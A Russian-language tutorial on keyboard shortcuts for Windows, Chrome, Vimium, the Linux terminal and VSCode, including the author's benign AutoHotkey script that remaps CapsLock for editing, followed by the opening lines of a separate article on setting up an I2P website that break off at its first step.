+ [Меню](https://gist.github.com/kotano/ea9664eb0b97a1b1d87bef444b318176#%D0%BC%D0%B5%D0%BD%D1%8E)
+ [Developer tools](https://gist.github.com/kotano/ea9664eb0b97a1b1d87bef444b318176#developer-tools)
+ [Vimium](https://gist.github.com/kotano/ea9664eb0b97a1b1d87bef444b318176#vimium)
* [Сочетания, которых нет](https://gist.github.com/kotano/ea9664eb0b97a1b1d87bef444b318176#%D1%81%D0%BE%D1%87%D0%B5%D1%82%D0%B0%D0%BD%D0%B8%D1%8F-%D0%BA%D0%BE%D1%82%D0%BE%D1%80%D1%8B%D1%85-%D0%BD%D0%B5%D1%82)
+ [Хакерский редактор](https://gist.github.com/kotano/ea9664eb0b97a1b1d87bef444b318176#%D1%85%D0%B0%D0%BA%D0%B5%D1%80%D1%81%D0%BA%D0%B8%D0%B9-%D1%80%D0%B5%D0%B4%D0%B0%D0%BA%D1%82%D0%BE%D1%80)
+ [AutoHotkey](https://gist.github.com/kotano/ea9664eb0b97a1b1d87bef444b318176#autohotkey)
+ [CapsKeys](https://gist.github.com/kotano/ea9664eb0b97a1b1d87bef444b318176#capskeys)
+ [Особенности](https://gist.github.com/kotano/ea9664eb0b97a1b1d87bef444b318176#%D0%BE%D1%81%D0%BE%D0%B1%D0%B5%D0%BD%D0%BD%D0%BE%D1%81%D1%82%D0%B8)
* [VSCode](https://gist.github.com/kotano/ea9664eb0b97a1b1d87bef444b318176#vscode)
+ [Навигация](https://gist.github.com/kotano/ea9664eb0b97a1b1d87bef444b318176#%D0%BD%D0%B0%D0%B2%D0%B8%D0%B3%D0%B0%D1%86%D0%B8%D1%8F)
+ [Простые сочетания](https://gist.github.com/kotano/ea9664eb0b97a1b1d87bef444b318176#%D0%BF%D1%80%D0%BE%D1%81%D1%82%D1%8B%D0%B5-%D1%81%D0%BE%D1%87%D0%B5%D1%82%D0%B0%D0%BD%D0%B8%D1%8F)
+ [Посложнее](https://gist.github.com/kotano/ea9664eb0b97a1b1d87bef444b318176#%D0%BF%D0%BE%D1%81%D0%BB%D0%BE%D0%B6%D0%BD%D0%B5%D0%B5)
* [Демонстрация](https://gist.github.com/kotano/ea9664eb0b97a1b1d87bef444b318176#%D0%B4%D0%B5%D0%BC%D0%BE%D0%BD%D1%81%D1%82%D1%80%D0%B0%D1%86%D0%B8%D1%8F)
* [Заключение](https://gist.github.com/kotano/ea9664eb0b97a1b1d87bef444b318176#%D0%B7%D0%B0%D0%BA%D0%BB%D1%8E%D1%87%D0%B5%D0%BD%D0%B8%D0%B5)
* [Полезные ссылки](https://gist.github.com/kotano/ea9664eb0b97a1b1d87bef444b318176#%D0%BF%D0%BE%D0%BB%D0%B5%D0%B7%D0%BD%D1%8B%D0%B5-%D1%81%D1%81%D1%8B%D0%BB%D0%BA%D0%B8)
Сочетания клавиш - это простые команды, позволяющие удерживать пальцы на клавиатуре, а не прыгать вперед и назад к мыши. Вы, вероятно, уже знаете такие распространенные сочетания клавиш, как CTRL + C для копирования и CTRL + V для вставки, но есть множество других сочетаний клавиш, которые позволяют делать что угодно на вашем компьютере или в конкретной программе. Говорят, что знание только основных сочетаний экономит вам 8 рабочих дней каждый год. Цель этой статьи - сэкономить вам ГОРАЗДО больше.
К сожалению, для многих знание "контрол-цэ" и "контрол-вэ" становится верхней границей в использовании комбинаций. Именно для них были написаны первые главы этой статьи, где мы разберем основные сочетания клавиш и советы по эффективному использованию клавиатуры, которые прогонят из вас компьютерную мышь.
Для тех, кто осилил начало статьи, а также для уже опытных пользователей клавиатуры дальше начнется самое интересное. Я расскажу о таком инструменте, как AutoHotkey и о своем скрипте, использование которого сделает из вас настоящего печатающего ниндзю.
В конце вы увидите, как все эти знания можно использовать при работе с самым популярным на данный момент текстовым редактором Visual Studio Code.
*Не пытайтесь просто запомнить все, что написано в статье. Обязательно попробуйте понажимать все сочетания клавиш, о которых вы не знали! А потом возвращайтесь время от времени, чтобы освежить память.*
*Если вы пользователь системы Windows, то вы обязаны дочитать до конца.*
Поехали.
Базовые сочетания
-----------------
Базовыми сочетаниями я буду называть те, которые выполняют похожие функции в разных операционных системах и приложениях.
Начнем с основ.
`Esc` - aka Escape или Эскейп или Эскейт или... ладно, ладно. Используется для выхода из чего-либо или отмены чего-либо. Если все пошло наперекосяк и "Я что-то нажала и все уронилось", то скорее всего вам нужно будет обратиться к этой клавише.
`Tab`. Таб это не только символ табуляции, но еще и полезнейший инструмент смены фокуса. Фокус здесь означает то место, на которое будут направлены действия пользователя в системе. Так, например, если у нас в приложении стоит фокус на текстовом поле, то все, что мы печатаем, будет вноситься именно в это поле. Если фокус на кнопке - то `Space` или в худшем случае `Enter` нажмут на эту кнопку. Так что совет тут такой. Когда заполняем формы, переключаемся между полями через `Tab`, отмечаем галочки через `Space`, решили вернуться - `Shift+Tab`.
`Shift` - позволяет выделять последовательности символов или других объектов в зависимости от программы. Например, в проводнике, если выбрать файл, зажать шифт и выбрать другой файл, то все, что находилось между этими двумя файлами будет выделено.
`Ctrl` - работает похожим образом, но позволяет точечно выбирать, что именно вам нужно.
`Shift+/` - так исторически сложилось, что Shift часто используется для инвертирования действия, выполненного сочетанием клавиш без Shift. Например Shift+Tab совершает действие, противоположное Tab. Keep in mind!
`F1` - вызов справки. Просто для справки.
`Ctrl+W` - закрыть окно, вкладку. Почти всегда работает в приложениях, где есть вкладки.
`Ctrl+F` - поиск. F - Find.
`Ctrl+P`. В большинстве программ вызывает меню печати.
`Ctrl+S` - сохранить. Что тут еще говорить.
`Ctrl+Z` - отменить действие.
`Ctrl+Y`/`Ctrl+Shift+Z` - повторить отмененное действие.
`Ctrl+N`. Открыть новое окно/файл.
`Ctrl+(+)` - приблизить/увеличить масштаб.
`Ctrl+(-)` - отдалить/уменьшить масштаб.
`Ctrl+(?shift)+[` | `Ctrl+(?shift)+]` - уменьшить | увеличить размер шрифта.
`Shift+Enter` - перевести курсор на начало новой строки. Это сочетание бывает необходимо, если нажатие `Enter` делает что-то другое.
### Графика
Во многих приложениях, где можно работать с графическими элементами, скорее всего заработают следующие сочетания:
`Ctrl+D` - создать копию объекта. От слова Duplicate.
`Ctrl+(?shift)+[` - Переместить элемент на задний план. В некоторых программах требуется клавиша модификатор Shift.
`Ctrl+(?shift)+]` - Переместить элемент на передний план.
Хотя использование мыши - дело, недостойное настоящего погромиста, но иногда без нее никуда.
Эти сочетания мыши критичны для тех, кто работает с графическими элементами.
`Ctrl+MouseScroll` - увеличить / уменьшить масштаб.
`Shift+MouseScroll` - переместиться по горизонтали. Иногда весь контент не помещается в окне, и появляется горизонтальная полоса прокрутки. Данное сочетание позволяет перемещаться вправо или влево в таких ситуациях.
`Shift+Click` - выбрать группу элементов, если возможно.
`Ctrl+Click` - выбрать элементы, точечно.
`Ctrl+(Dragging)` - копировать элемент или группу элементов и переместить на позицию курсора. Работает не везде, но полезно помнить.
### Терминал Linux
*Навигация в терминале не очень удобная. Для того, чтобы немного облегчить жизнь, при работе с этим инструментом, можно воспользоваться скриптом, о котором будет рассказано в разделе*[*AutoHotkey*](https://gist.github.com/kotano/ea9664eb0b97a1b1d87bef444b318176#autohotkey)*.*
`Tab` - автодополнение команд.
`Tab+Tab` - вывести список возможных команд автодополнения.
`Ctrl+C` - послать сигнал прерывания процесса.
`Ctrl+Z` - приостановить процесс и перевести в фон.
`Ctrl+D` - удалить символ после курсора. Если строка пустая, то эта команда завершит работу терминала.
`Alt+D` - удалить слово после курсора.
`Ctrl+W` - вырезать слово перед курсором.
`Alt+Backspace` - удалить слово перед курсором.
`Ctrl+A` - перейти в начало строки.
`Ctrl+E` - перейти в конец строки.
`Ctrl+B` - переместиться на символ назад.
`Ctrl+F` - переместиться на символ вперед.
Windows
-------
Вы можете не любить Windows, но стоит признать, что эта операционная система постоянно развивается и с каждым годом становится все лучше и удобнее. Сейчас это современная система, предоставляющая пользователю множество возможностей.
Парочка полезностей:
* Поиск через "Start" в Windows работает так, что он быстро находит файлы, находящиеся в системных папках. Поэтому, если вам лень ходить по файловой системе, нажимаем `Win` и вводим имя файла - система быстро нам его найдет.
* Если открыть контекстное меню файла с зажатым `Shift`, то появятся дополнительные опции. Одной из них будет "Скопировать как путь", очень удобно.
### Сочетания
`Win+D` - скрыть все окна.
`Win+M` - свернуть все окна.
`Win+Shift+M` - развернуть все окна.
`Win+X` - открыть меню системных инструментов.
`Win+P` - открыть меню проекции на дополнительные дисплеи.
`Win+Left/Right` - прикрепить окно к левому/правому краю. На данный момент, одно нажатие сочетания перемещает окно к одному из краев, но если зажать `Win` и дважды нажать `Left`/`Right`, то система подстроит окно ровно под половину экрана и тут у нас есть аж три варианта последующих действий:
* Отпустить `Win` - система предложит выбрать еще одно окно, для перехода в двухоконный режим
* Нажать `Up/Down` - окно будет сжато до размеров 1/4 экрана
* Нажать `Left` - окно будет перемещено на соседний экран
`Win+Shift+Left/Right` - переместить окно на соседний экран. Удобное сочетание для тех, у кого несколько мониторов.
`Win+Up` - развернуть окно на весь экран.
`Win+Down` - открепить окно / свернуть.
`Win+L` - заблокировать систему.
`Win+B` - фокус на панель инструментов.
`Win+Ctrl+Left/Right` - переключиться между рабочими столами.
`Win+(.)` - открыть меню стикеров.
`Alt+Tab` - вы и так знаете. Переключаемся между активными окнами. Зажатый Shift двигает нас назад.
`Alt+Enter` - позволяет открыть некоторые окна в полноэкранном режиме.
`Win+{1, 2, 3, ...}` - открыть n-ное окно прикрепленное к панели задач. Обязательно к использованию!
`Win+Shift+{1, 2, 3, ...}` - открыть n-ное окно от имени администратора.
`Win+Shift+S` - сделать скриншот части экрана.
`Ctrl+Shift+Esc` - открыть диспетчер задач.
`Alt+\` - активирует навигацию в окнах многих программ. Например, сочетание `Alt+V + H + H` позволяет скрыть/показать скрытые файлы в проводнике.
`PrintScreen` или `PrtScn` - сделать снимок экрана. Вроде бы вещь банальная, но, как показывает практика, все еще есть люди, которые фотографируют экран. Скриншот сохраняется в буфер обмена, поэтому, чтобы просмотреть картинку, вам нужно будет ее вставить в соответствующую программу, например Paint.
`Alt+PrintScreen` - сделать скриншот окна.
`Win+PrintScreen` - сделать скриншот экрана и сохранить в папку "Изображения".
### Проводник
`F2` - переименовать файл/папку.
`Win+E` - открыть проводник.
`Alt+Enter` - открыть свойства файла.
`Ctrl+Enter` - открыть папку в новом окне.
`Ctrl+Shift+N` - создать новую папку в текущей директории в проводнике.
`Alt+Left` / `Alt+Right` - предыдущая папка / следующая папка в истории.
`Alt+Up`. Переместиться на уровень вверх.
### Утилиты
Magnifier
`Win+(+)` - увеличить часть экрана.
`Win+(-)` - уменьшить часть экрана.
`Win+Esc` - закрыть Magnifier.
Xbox Game Bar
`Win+G` - открыть игровое меню XBox.
`Win+Alt+R` - Начать/остановить запись текущего окна. R - Record.
Chrome
------
В хроме исправно работают многие из сочетаний, описанных в [Базовые сочетания](https://gist.github.com/kotano/ea9664eb0b97a1b1d87bef444b318176#%D0%B1%D0%B0%D0%B7%D0%BE%D0%B2%D1%8B%D0%B5-%D1%81%D0%BE%D1%87%D0%B5%D1%82%D0%B0%D0%BD%D0%B8%D1%8F).
`Ctrl+Shift+W` - брат Ctrl+W. Позволяет закрыть все вкладки сразу.
`Ctrl+Shift+N` - открыть новое окно в режиме инкогнито. Если вам часто нужно открыть "чистое" окно браузера, то запомните это сочетание.
`Ctrl+T` - открыть новую вкладку и перейти к ней.
`Ctrl+Shift+T` - открыть ранее закрытую вкладку. В некоторых случаях это поможет восстановить историю вкладок, если браузер был принудительно закрыт.
`Ctrl+Tab` - перейти к следующей вкладке на панели.
`Ctrl+Shift+Tab` - перейти к следующей вкладке на панели.
`Ctrl+{1, 2, ..., 8}` - перейти к n-ной вкладке.
`Ctrl+9` - перейти к последней вкладке.
`Ctrl+R` - перезагрузить страницу.
`Ctrl+Shift+R` - перезагрузить страницу, без использования данных в кэше.
`Ctrl+D` - сохранить текущую страницу в закладках.
`Ctrl+Shift+D` - сохранить все открытые вкладки в закладках. Поосторожнее с этим!
`Ctrl+L` - фокус на адресную строку.
**Сочетания мыши**
`MiddleMouseButton` - открыть страницу по ссылке в новой вкладке.
`Ctrl+Click` - открыть страницу по ссылке в новой вкладке.
`Ctrl+Shift+Click` - открыть ссылку в новой вкладке и перейти к ней. Обычно это именно то, что нужно, если вы хотите быстро просмотреть информацию по другой ссылке.
`Shift+Click` - открыть ссылку в новом окне.
### Меню
`Ctrl+H` - открыть историю браузера.
`Ctrl+J` - открыть страницу загрузок.
`Shift+Esc` - открыть диспетчер задач Chrome. Если вы не понимаете, какая страница сильно нагружает ваши ресурсы, то стоит сюда заглянуть.
`Ctrl+Shift+O` - открыть страницу закладок.
### Developer tools
Developer tools - один из самых полезных инструментов в арсенале Web-разработчика. Посмотрим, как можно немного ускорить работу с ним в браузере Chrome.
`Ctrl+Shift+J` - открыть вкладку Console в инструментах разработчика
`Ctrl+(backtick)` - фокус на консоли. При открытом меню инструментов разработчика.
`Ctrl+[`, `Ctrl+]` - сменить вкладку на панели.
`F2` - редактировать элемент как html.
`Ctrl+Shift+P` - открыть панель команд. Сочетание, которое может заменить их все.
`Ctrl+Shift+I` / `F12` - открыть последнюю использованную вкладку в инструментах разработчика.
`Ctrl+Shift+C` - открыть панель элементов страницы.
Этого немного, но достаточно, чтобы пользоваться и не перегружать мозг. Больше сочетаний [здесь](https://developers.google.com/web/tools/chrome-devtools/shortcuts).
Базовые сочетания плюс те, которые используются в Chrome составляют большую часть наиболее распространенных сочетаний. Это значит, что, подобные сочетания вы сможете применить в большинстве программ, с которыми работаете. Поэтому многие "интуитивные" сочетания я буду опускать.
### Vimium
Чего мы хотим?[Vimium](https://chrome.google.com/webstore/detail/vimium/dbepggeogbaibhgnhhndojpepiihcmeb) - расширение для браузера Chrome, которое предоставляет сочетания клавиш для навигации и управления в духе редактора Vim.
Вот что это нам дает.
*Внимание на регистр символов.*
**Переход по ссылкам через**`f+`**.** Больше не нужно тянуться за мышкой, чтобы кликнуть по ссылке. Это сделает за вас Vimium. Нажмите клавишу `f` и на странице к каждой ссылке прикрепится название клавиши, которую нужно нажать далее, чтобы перейти по ней. Чтобы открыть ссылку в новой вкладке используйте клавишу `F`.
**Перемещение через сочетания как в виме**
Используйте привычные сочетания вима для движения по странице.
* `hjkl` - движение влево/вниз/вверх/вправо
* `d` / `u` - движение на полстраницы вниз/вверх
* `gg` - перейти в самый верх
* `G` - перейти в самый низ
* `/` - поиск по странице. Для перехода к следующему/предыдущему результату нажимайте `n`/`N`. В отличие от стандартного поиска не переключает фокус.
* `gi` - фокус на первое поле ввода на странице. Удобно сочетать с перемещением фокуса через `Tab`. Сэкономит кучу времени при заполнении форм.
**Панель поиска** В вимиуме очень удобная панель поиска, которая может искать:
* `b` - в закладках
* `T` - в открытых вкладках
* `o` - во всех источниках
**Табы**
* `t` - создать новую вкладку за текущей.
* `yt` - дублировать вкладку!
Многие команды можно повторить стандартными сочетаниями браузера и я не стану их рассматривать. Для всего остального есть вот такая хорошая памятка:
Vimium hotkeysВ интернете можно найти много аналогов для вашего браузера, например, [для Firefox](https://addons.mozilla.org/ru/firefox/addon/vimium-c/).
[*Для работы с русской раскладкой*](https://github.com/philc/vimium/wiki/Key-Mappings#russian-language-keyboards)*нужно будет добавить "мэпы" в настройки вимиума*
Сочетания, которых нет
----------------------
TL;DR: Я совместил идеи, положенные в редактор VIM, и возможности языка автоматизации AutoHotkey, чтобы создать скрипт, который позволяет не отрывать руки от стандартных позиций. О скрипте - в секции capsKeys.#### Хакерский редактор
Мне всегда нравились идеи, заложенные в основу редактора ~~мозга~~ кода Vim.
> Vim - это такой хакерский текстовый редактор, который очень любят деды и которому поклоняются все новички, услышавшие о его возможностях.
>
>
> Vim (сокр. от Vi Improved, произносится «вим») — кошмар для случайного пользователя. Если его удаётся в конце концов закрыть, то вздыхаешь с облегчением и твёрдой уверенностью, что больше не будешь запускать эту программу ни разу в жизни. (c) Материал из Викиучебника
>
>
Так что же в нем особенного? На Хекслете есть неплохая [статья](https://guides.hexlet.io/vim/?ref=259317), в которой рассказано, почему Vim - это хорошо.
Я тоже считаю, что вим - это хорошо и знать основные его команды очень пригодится. Так, например, упоминание этого редактора при разговоре с разработчиками даст вам +1 к крутости. А на многих сайтах (например YouTube) используются сочетания именно из этого редактора. Однако реальность такова, что Vim - не современный инструмент, а популярность его поддерживается лишь благодаря старичкам и тем, кто любит выпендриваться.
*О самом популярном в мире редакторе кода чуть позже.*
Главный аргумент в пользу вима - **он позволяет писать эффективно**.
Вим спроектирован так, чтобы минимизировать перемещения ваших запястий во время набора текста. Все его горячие клавиши находятся в прямой доступности ваших рук.
Этой же цели цели хотел добиться и я, но без привязки к Виму, с его недружелюбными режимами.
Существуют целые сообщества, которые пытаются перенести функционал Vim в разные редакторы кода. Но я решил поступить по другому и перенести хоть и малую часть его фишек, но на всю систему. И для этого можно использовать AutoHotkey.
### AutoHotkey
> AutoHotkey — свободно распространяемый язык для автоматизации выполнения задач в Microsoft Windows. AutoHotkey является языком программирования сценариев, приспособленным к легкому назначению и переназначению горячих клавиш, включая кнопки мыши и джойстика.
>
>
Короче говоря, AHK позволяет нам автоматизировать рутинные задачи, создавать программы с графическим интерфейсом или просто автоматически писать Sincerely Yours в конце электронного письма. Чтобы профессионально лениться с помощью AHK нужно существенно поработать головой перед этим.
А еще на обычной клавиатуре зачастую есть такая замечательная, очень бесполезная клавиша, как `CapsLock`. Почему бесполезная? Да потому что единственная ее функция - зажимать вместо вас клавишу `Shift`. Ее любят в основном тролли в интернете и те, кто часто пишут SQL запросы. Зато неудобств от нее куча. Одна только необходимость проверять, включен ли капс перед вводом пароля, доставляет головную боль.
Вердикт - "капсу" можно найти лучшее применение.
Итак, мы хотим иметь возможность не отрывать руку от `фыва олдж` позиций ни на клавишу. Мы хотим писать эффективно, да так, чтобы не уступать прославленным вимерам. И мы хотим, чтобы было несложно. А еще у нас есть программа, с помощью которой можно программировать сочетания клавиш и одна лишняя клавиша на клавиатуре. Пазл сошелся? Запоминаем и идем писать программу.
### CapsKeys
CapsKeys - скрипт AHK, который служит оберткой над стандартными сочетаниями операционной системы и биндит их на клавишу CapsLock.
Вот, как выглядит часть моего [скрипта](https://github.com/kotano/capsKeys/blob/main/capsKeys.ahk)
```
SetCapsLockState AlwaysOff
; Basic movement
CapsLock & j::Send {blind}{Left}
CapsLock & l::Send {blind}{Right}
CapsLock & i::Send {blind}{Up}
CapsLock & k::Send {blind}{Down}
; Fast move
CapsLock & u::Send {blind}{Up 5}
CapsLock & n::Send {blind}{Down 5}
; Fast delete
CapsLock & Backspace::Send {blind}{Backspace 5}
CapsLock & Delete::Send {blind}{Delete 5}
; Delete words
CapsLock & w::Send {blind}^{Backspace}
CapsLock & e::Send {blind}^{Delete}
```
А вот что он делает
capsKeys keyboard layoutЧтобы попробовать, вы можете:
* [Скачать .exe файл](https://github.com/kotano/capsKeys/releases/download/v1.0/capsKeys.exe)
* Запустить
или
* [Установить AutoHotkey](https://www.autohotkey.com/)
* [Загрузить исходники скрипта](https://github.com/kotano/capsKeys/)
* Запустить через AutoHotkey
Если еще не поняли, то рассказываю в чем суть: когда этот скрипт работает, ничего не меняется до тех пор, пока вы не зажмете клавишу CapsLock. С этого момента начинается магия. Какая? Рассказываю.
### Особенности
**Никакого больше переключения регистра.** Строчные буквы по умолчанию! Это которые маленькие.
**Кнопки перемещения находятся в области правой руки.** Мы привыкли, что стрелочки справа, поэтому и кнопки навигации - справа.
* `Caps+J` - влево
* `Caps+i` - вверх
* `Caps+L` - вправо
* `Caps+K` - вниз
* `Caps+U` - вверх пять раз
* `Caps+N` - вниз пять раз
* `Caps+Y` - страница вверх (PgUp)
* `Caps+B` - страница вниз (PgDn)
* `Caps+<` - назад
* `Caps+>` - вперед
**Зажатый капс работает как Ctrl в случае с символами X, C, V.** Так просто удобнее!
**Вызов контекстного меню.** `Caps + P` - вызвать контекстное меню. Заменяет пару лишних движений руки.
**Перемещаемся по словам** Через `Caps+LeftAlt` и `Caps+Space`. Одно из самых часто используемых мной сочетаний, особенно вместе с зажатым Shift. Однако здесь есть недостаток. Так как мы затрагиваем функциональную клавишу, это меняет поведение Alt. Например, мы хотим использовать сочетание `Alt+Up` в VSCode и делаем это конечно же через AHK. То есть `Caps+Alt+Up`, но вот проблема, как только мы зажимаем первые две клавиши, все идет к чертям. Что делать? Тут есть два варианта. Можно использовать правый Alt то есть `Caps+RightAlt+Up` или сначала нажимать Alt а потом остальную часть сочетания.
**Удаляем эффективно** Вы знали, что сочетания `Ctrl+Backspace`, `Ctrl+Delete` удаляют целые слова вместо символов? Я не знал, до недавнего времени. В скрипте есть целая линия клавиш выделенная для удаления:
* `Caps+Q` - удалить все символы слева от курсора
* `Caps+W` - удалить слово слева от курсора
* `Caps+E` - удалить слово справа от курсора
* `Caps+R` - удалить все символы справа от курсора
**Фишки**
* `Caps+A` - Скопировать текущую строку и вставить снизу
* `Caps+S` - Выделить слово на позиции курсора
* `Caps+D` - Скопировать строку и удалить. Украдено прямиком из вима.
**Работает везде** Работает как в вашем редакторе кода, так и в любом другом текстовом поле. Запомнил один раз - пользуйся везде.
*Так как многие сочетания скрипта опираются на модификаторы клавиш, то сочетания в области левой руки будут иметь непредсказуемый эффект в терминале. Тут могу посоветовать выучить сочетания из подраздела*[*терминал*](https://gist.github.com/kotano/ea9664eb0b97a1b1d87bef444b318176#%D1%82%D0%B5%D1%80%D0%BC%D0%B8%D0%BD%D0%B0%D0%BB).
*Прежде чем основательно начать пользоваться этим скриптом, убедитесь, что вы владеете хотя-бы слепой восьмипальцевой печатью. В противном случае вы рискуете получить вредные привычки, которые будут замедлять вашу скорость набора текста. Советую режим "фразы" в*[*этом*](https://stamina.ru/keyboard_trainer/download)*замечательном бесплатном тренажере.*
Теперь вы можете редактировать текст и перемещаться по редактору со скоростью ниндзи. Дальше рассмотрим, какие сочетания помогут нам ускорить работу с кодом внутри текстового редактора VSCode.
VSCode
------
Когда дело доходит до выбора редактора кода, то тут все решают личные предпочтения. Однако есть редактор, который придется по вкусу практически каждому, и это Visual Studio Code.
VSCode - опенсорсное творение Microsoft, написанное при помощи фреймворков для JavaScript/TypeScript. Из коробки это простенький красивый редактор кода, который позволит вам в считанные секунды начать писать что вздумается. А если прикрутить к нему расширения, которые регулярно пишутся и поддерживаются огромным сообществом, то то эта малышка даст жару любой профессиональной IDE.
### Навигация
`Ctrl+B` открыть / закрыть боковую панель.
`Ctrl+Shift+E` - открыть меню навигации.
`Ctrl+Shift+D` - открыть меню запуска. Используется во время дебаггинга.
`Ctrl+Shift+F` меню поиска. Позволяет искать текст по всем файлам.
`Ctrl+Shift+H` - открыть меню замены. Брат Ctrl+Shift+F, но с функцией замены.
`Ctrl+Shift+G` - открыть меню контроля версий. Если у вас установлено расширение GitLens, то оно может изменить это сочетание.
`Ctrl+J` - открыть/закрыть панель.
`Ctrl+Shift+X` - открыть меню расширений.
`Ctrl+(backtick)` - открыть терминал.
`Ctrl+Shift+M` - открыть панель ошибок.
`Ctrl+Shift+U` - открыть консоль вывода.
`Ctrl+Shift+Y` - открыть консоль отладки.
### Простые сочетания
`F1` - открыть окошко команд. Наше все для пользователя VSCode. Почти любое действие можно выполнить с помощью этого окна.
`F2` переименовать определение / переменную / функцию синхронно. Одна из самых приятных возможностей в VSCode. Если вы передумали с названием переменной, это позволит изменить все места где используется эта переменная, учитывая контекст.
`F8` - переместиться к следующему проблемному месту в коде.
`Ctrl+.` - быстрое исправление ошибки. Если вы допустили какую-то распространенную ошибку, VSCode может исправить ее за вас. Очень удобно использовать в сочетании с `F8`.
`F9` - поставить точку остановки для дебаггера.
`Ctrl+P` - перейти к файлу.
`Ctrl+R` - открыть недавний проект / файл.
`Ctrl+(,)` - открыть настройки редактора.
`Ctrl+Q` - перейти в другую панель.
`Ctrl+/` - закомментировать строку.
`Ctrl+T` - переместиться к функции или переменной во всех файлах.
`Ctrl+Shift+O` переместиться к функции или переменной в текущем файле.
`Ctrl+Home` - переместиться к началу файла.
`Ctrl+End` - переместиться к концу файла.
`Ctrl+Shift+\` переместиться к соответствующей скобке.
`Ctrl + Shift + Enter` — перемещает текущую строку вниз, а курсор ставит в начало новой чистой строки
`Ctrl+Shift+N` - открыть новое окно VSCode.
`Alt+Left` / `Alt+Right` переместиться к предыдущей / следующей активной строке. Когда вы скачете со строки на строку, VSCode запоминает это в своей истории, и вы можете быстро переключаться между самыми горячими местами в коде.
`Alt+Up/Down` - переместить строку вверх/вниз. Must have!
`Alt` - ускорить прокрутку страницы. Если начать прокручивать страницу и зажать Alt, то процесс пойдет немного быстрее.
`Alt+Z` - переключить режим переноса строк.
`Shift+Alt+F` - автоматическое форматирование текста. VSCode поддерживает автоматическое форматирование для большинства языков. Нажатие этой клавиши подгонит ваш код под стандарты, принятые в Code style вашего языка.
`Shift+Alt+O` - упорядочить импорты в соответствии со стандартами вашего языка.
`Ctrl+C` - скопировать текущую строку, если нет выделения, иначе работает как обычное копирование.
`Ctrl+X` - вырезать строку, если нет выделения, иначе работает как обычная операция Cut.
`Ctrl+Shift+Up/Down` - скопировать выделенные строки вверх/вниз. Полезно, если вам нужно повторить какой-то блок кода несколько раз.
`Ctrl+Alt+Right` - переместить активный файл в соседнюю группу редактирования. Это позволит вам параллельно просматривать два или более файлов. `Ctrl+Alt+Left` двигает его обратно.
`Ctrl+0` - фокус на боковую панель.
`Ctrl+{1, 2, 3, ..}` - фокус на первую/вторую/третью группу редакторов. Если вы параллельно просматриваете два или больше файлов, это сочетание поможет вам переключаться между ними. Однако по своему опыту скажу, что больше двух редакторов никто обычно не открывает. Поэтому у себя я поменял сочетание для работы с двумя окнами редактирования и двумя терминалами.
`Alt+{1, 2,..., 8}` - переключиться между активными вкладками в окне редактирования. Обязательно к запоминанию! `Alt+0` открывает последнюю вкладку.
`Ctrl+Space` - активировать автоподстановку.
`Shift+Ctrl+Space` - открыть подсказку для параметров функции.
### Посложнее
`Alt+Ctrl+Up/Down` - добавить курсор на верхнюю/нижнюю строку. Одна из особенностей современных редакторов. Позволяет редактировать текст одновременно в нескольких местах. Суперфича!
`Ctrl+D` - добавить курсор в конец следующего вхождения данного слова.
`Alt+Click` - добавить курсор в позицию указателя мыши.
`Shift+Alt+(Dragging)` - добавлять курсоры по пути следования указателя мыши.
`Shift+Alt+Right` - выделение с учетом контекста. Например, у нас есть длинное выражение внутри скобок, данное сочетание позволит нам выбрать все, что находится внутри них. Последовательные нажатия расширяют область выделения.
`Shift+Alt+Left` - действие, противоположное Shift+Alt+Right.
`Ctrl+Shift+[` - свернуть блок кода. Если файл стал слишком большим, и перемещаться стало слишком сложно, то данное сочетание позволит свернуть блоки текста, которые вам сейчас не нужны.
`Ctrl+Shift+]` - развернуть блок кода. Противоположно Ctrl+Shift+[.
*Следующее сочетание отсутствует в сборке для Windows, но я рекомендую установить его вручную. У меня это*`Ctrl+Shift+J`.
`Нет`(Win) / `Ctrl+J`(Mac) - присоединить следующую строку к текущей. По сути, все, что делает данная команда, так это удаляет символ переноса с текущей строки. Очень удобно, если вдруг нужно сжать html файл или еще что-то.
`Ctrl+Shift+L` - выделить все одинаковые слова и переместить курсор к концу каждого. Сильная штука, позволяет редактировать все вхождения определенного слова. Но стоит быть аккуратнее, если это слово встречается в качестве подстроки, то оно тоже будет изменено.
`Ctrl+K Z` - Включить Zen Mode. Для настоящих гуру.
Демонстрация
------------
Ну и на десерт, небольшое видео, где я наглядно показываю, как можно совместить использование скрипта capsKeys и возможности редактора VSCode. Опытные пользователи узнают файл Vimtutor, который используется для обучения основам Vim. Чудес не обещаю, но суть должна быть понятна.
Заключение
----------
В этой статье я рассмотрел способы увеличения продуктивности при написании кода или любого текста посредством использования сочетания клавиш и кое-чего еще. Мы начали с самых простых сочетаний и дошли до продвинутых вариантов использования клавиатуры. Я надеюсь эти знания не раз пригодятся вам в вашей профессиональной карьере.
Не старайтесь запомнить все сразу. Я тоже не все из этого хорошо помню и даже не пытаюсь применять постоянно. Для первого раза достаточно знать, какие вообще комбинации существуют. К тому же, многие сочетания вполне интуитивны. Зная базовые и несколько дополнительных, вы начнете догадываться, куда можно нажать, чтобы получить то, что вам нужно.
Пишите в комментариях, если у вас есть свои любимые сочетания, не описанные в статье.
Также, если у вас есть идеи по поводу улучшения скрипта для AutoHotkey, буду рад видеть ваши pull request-ы на [странице репозитория](https://github.com/kotano/capsKeys).
*Изначальную идею скрипта я почерпнул из этой замечательной*[*статьи*](https://tonsky.me/blog/cursor-keys/)*в блоге Никиты Прокопова.*
Полезные ссылки
---------------
* [Сайт для тренировки сочетаний клавиш и основных команд](https://www.shortcutfoo.com/)
* [Сочетания для инструментов разработчика в Chrome](https://developers.google.com/web/tools/chrome-devtools/shortcuts)
* [Документация AutoHotkey по горячим клавишам](https://www.autohotkey.com/docs/Hotkeys.htm)
* [AutoHotkey для Linux](https://clck.ru/Soxx3)
* [Тренажер для тренировки слепой десятипальцевой печати](https://stamina.ru/keyboard_trainer/download)
* [Про настройку сочетаний клавиш в VSCode](https://code.visualstudio.com/docs/getstarted/keybindings)
* [Продвинутое использование VSCode](https://code.visualstudio.com/docs/editor/editingevolved)
* [Неочевидные возможности VSCode](https://www.vscodecandothat.com/)
* [Мои кастомные сочетания клавиш в VSCode](https://gist.github.com/kotano/3c150d020a03709b15c31ea8b91658e6)
* [Памятка по сочетаниям в VSCode](https://code.visualstudio.com/shortcuts/keyboard-shortcuts-windows.pdf) | https://habr.com/ru/post/551822/ | null | ru | null |
# I2P — Создание своего сайта
Снова всем доброго времени суток!
Сегодня я попытаюсь описать процесс создания своего сайта (англ. *eepsite*) в анонимной сети [I2P](http://habrahabr.ru/blogs/infosecurity/97827/).
Процесс создания делится на на несколько этапов:
1. Установка веб-сервера
